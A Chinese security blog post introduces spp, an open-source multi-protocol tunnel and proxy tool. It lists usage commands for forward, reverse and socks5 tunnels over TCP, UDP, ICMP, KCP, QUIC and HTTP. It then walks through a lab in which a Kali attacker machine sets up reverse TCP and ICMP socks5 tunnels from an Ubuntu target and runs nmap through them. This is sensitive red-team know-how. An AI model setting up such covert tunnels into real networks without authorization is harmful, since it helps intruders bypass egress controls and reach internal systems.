内网隧道之spp
内网隧道之spp
前言
本文研究支持多协议双向代理的一个工具,spp
github:https://github.com/esrrhs/spp
一、概述
1、简介
2020年新鲜出炉,持续更新,来自腾讯大佬,用Go编写
- 支持的协议:tcp、udp、rudp(可靠udp)、ricmp(可靠icmp)、rhttp(可靠http)、kcp、quic
- 支持的类型:正向代理、反向代理、socks5正向代理、socks5反向代理
- 支持协议和类型的组合使用
- 支持全平台
2、原理
3、用法
(1)服务器
启动server,假设服务器ip是www.server.com,监听端口8888
./spp -type server -proto tcp -listen :8888
也可以同时监听其他类型的端口与协议
./spp -type server -proto tcp -listen :8888 -proto rudp -listen :9999 -proto ricmp -listen 0.0.0.0
也可以使用docker
docker run --name my-server -d --restart=always --network host esrrhs/spp ./spp -proto tcp -listen :8888
(2)客户端
启动tcp正向代理,将www.server.com的8080端口映射到本地8080,这样访问本地的8080就相当于访问到了www.server.com的8080
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp
启动tcp反向代理,将本地8080映射到www.server.com的8080端口,这样访问www.server.com的8080就相当于访问到了本地的8080
./spp -name "test" -type reverse_proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp
启动tcp正向socks5代理,在本地8080端口开启socks5协议,通过server访问server所在的网络
./spp -name "test" -type socks5_client -server www.server.com:8888 -fromaddr :8080 -proxyproto tcp
启动tcp反向socks5代理,在www.server.com的8080端口开启socks5协议,通过client访问client所在的网络
./spp -name "test" -type reverse_socks5_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp
其他代理协议,只需要修改client的proxyproto参数即可,例如
# 代理udp
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto udp
# 代理rudp
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8081 -toaddr :8081 -proxyproto rudp
# 代理ricmp
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8082 -toaddr :8082 -proxyproto ricmp
# 同时代理上述三种
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto udp -fromaddr :8081 -toaddr :8081 -proxyproto rudp -fromaddr :8082 -toaddr :8082 -proxyproto ricmp
client和server之间的内部通信,也可以修改为其他协议,外部协议与内部协议之间自动转换。例如
# 代理tcp,内部用rudp协议转发
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp -proto rudp
# 代理tcp,内部用ricmp协议转发
./spp -name "test" -type proxy_client -server www.server.com -fromaddr :8080 -toaddr :8080 -proxyproto tcp -proto ricmp
# 代理udp,内部用tcp协议转发
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto udp -proto tcp
# 代理udp,内部用kcp协议转发
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto udp -proto kcp
# 代理tcp,内部用quic协议转发
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp -proto quic
# 代理tcp,内部用rhttp协议转发
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp -proto rhttp
也可以使用docker
docker run --name my-client -d --restart=always --network host esrrhs/spp ./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp
二、实践
1、测试场景
攻击机(服务端):kali 192.168.10.128
目标机(客户端):ubuntu 192.168.10.129
目标机可以ping通攻击机
2、TCP的反向连接
(1)服务端
监听8888端口,TCP的协议
./spp -type server -proto tcp -listen :8888
(2)客户端
启动反向代理,TCP协议,将服务端的2222端口映射到客户端的80端口,即服务端访问自己的2222端口相当于访问客户端的80端口
./spp -name "test" -type reverse_proxy_client -server 192.168.10.128:8888 -fromaddr :2222 -toaddr :80 -proxyproto tcp
可以开启80端口的Apache看看
(3)隧道建立
服务端访问2222端口,映射到客户端80端口,打开了Apache界面
(4)抓包看看
建立连接,返回端口、用户和密码
使用80端口,加密了
3、ICMP的SOCKS5代理反向连接
(1)服务端
./spp -type server -proto ricmp -listen 0.0.0.0
(2)客户端
./spp -name "test" -type reverse_socks5_client -server 192.168.10.128 -fromaddr :1080 -proxyproto tcp -proto
(3)建立隧道
设置下proxychains
然后通过代理进行nmap
会打印如下log
(4)抓包看看
建立连接,返回端口、用户和密码
心跳包
nmap期间
三、探索
1、源码与分析
维护了一个非常庞大的go-engine库 可以深入学习下
2、检测与绕过
由于spp功能太全了,所以除了用某种功能时的流量特征,更多的可能要从端行为来考虑
结语
spp在完成一个大统一的出网工具的路上踏出一大步
红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。
相关文章
- 内网穿透之IPv6隧道
- 隧道视频监控智能分析系统
- NAT配置实验_隧道模型受力及模型实验理解和认识
- 内网隧道之Venom
- 内网隧道之frp
- 内网隧道之dnscat2
- ssh隧道代理上网_ssh加密算法
- RCEP是什么协议_常用的隧道协议有哪些
- HTTP隧道
- VXLAN vs. GENEVE:隧道协议之争
- 使用ssh的反向隧道管理内网路由器
- CobaltStrike-DNS隧道设计缺陷
- 郑州京广北路隧道抽水现场仍在作业 连救5人的英雄司机被公司奖了台新车
- 14.66公里挖了整整14年!地狱级的大瑞铁路大坡岭隧道终于打通
- over ipsec 隧道Linux搭建L2TP Over IPsec隧道技术实现(linux建l2tp)